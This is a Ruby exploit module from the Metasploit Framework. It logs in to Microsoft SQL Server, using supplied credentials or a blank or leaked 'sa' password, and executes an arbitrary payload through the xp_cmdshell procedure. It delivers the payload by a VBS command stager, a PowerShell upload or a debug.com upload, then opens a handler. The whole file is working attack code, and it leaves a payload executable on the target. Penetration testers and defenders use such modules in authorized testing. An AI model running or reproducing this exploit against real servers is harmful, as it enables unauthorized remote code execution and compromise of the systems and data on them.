##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Exploit::CmdStager
  include Msf::OptionalSession::MSSQL
  # include Msf::Exploit::CmdStagerDebugAsm
  # include Msf::Exploit::CmdStagerDebugWrite
  # include Msf::Exploit::CmdStagerTFTP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SQL Server Payload Execution',
        'Description' => %q{
          This module executes an arbitrary payload on a Microsoft SQL Server by using
          the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.

          First, the original method uses Windows 'debug.com'. File size restrictions are
          avoided by incorporating the debug bypass method presented by SecureStat at
          Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.

          A second method takes advantage of the Command Stager subsystem. This allows using
          various techniques, such as using a TFTP server, to send the executable. By default
          the Command Stager uses 'wcsript.exe' to generate the executable on the target.

          Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
          payload on the target.

          NOTE: This module will leave a payload executable on the target system when the
          attack is finished.
        },
        'Author' => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
          'jduck' # command stager mods
        ],
        'License' => MSF_LICENSE,
        'References' => [
          # 'sa' password in logs
          [ 'CVE', '2000-0402' ],
          [ 'OSVDB', '557' ],
          [ 'BID', '1281' ],

          # blank default 'sa' password
          [ 'CVE', '2000-1209' ],
          [ 'OSVDB', '15757' ],
          [ 'BID', '4797' ]
        ],
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'CmdStagerFlavor' => 'vbs',
        'DefaultTarget' => 0,
        'DisclosureDate' => '2000-05-30',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
      ]
    )
  end

  def check
    if session
      set_mssql_session(session.client)
    end

    unless session || mssql_login_datastore
      vprint_status("Invalid SQL Server credentials")
      return Exploit::CheckCode::Detected
    end

    mssql_query("select @@version", true)
    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  ensure
    disconnect
  end

  # This is method required for the CmdStager to work...
  def execute_command(cmd, opts)
    mssql_xpcmdshell(cmd, datastore['VERBOSE'])
  end

  def exploit
    if session
      set_mssql_session(session.client)
    else
      unless mssql_login_datastore
        print_status("Invalid SQL Server credentials")
        return
      end
    end

    method = datastore['METHOD'].downcase

    if (method =~ /^cmd/)
      execute_cmdstager({ linemax: 1500, tftphost: srvhost_addr, nodelete: true })
    else
      # Generate the EXE, this is the same no matter what delivery mechanism we use
      exe = generate_payload_exe

      # Use powershell method for payload delivery if specified
      if (method =~ /^ps/) or (method =~ /^power/)
        powershell_upload_exec(exe)
      else
        # Otherwise, fall back to the old way..
        mssql_upload_exec(exe, datastore['VERBOSE'])
      end
    end

    handler
    disconnect
  end
end
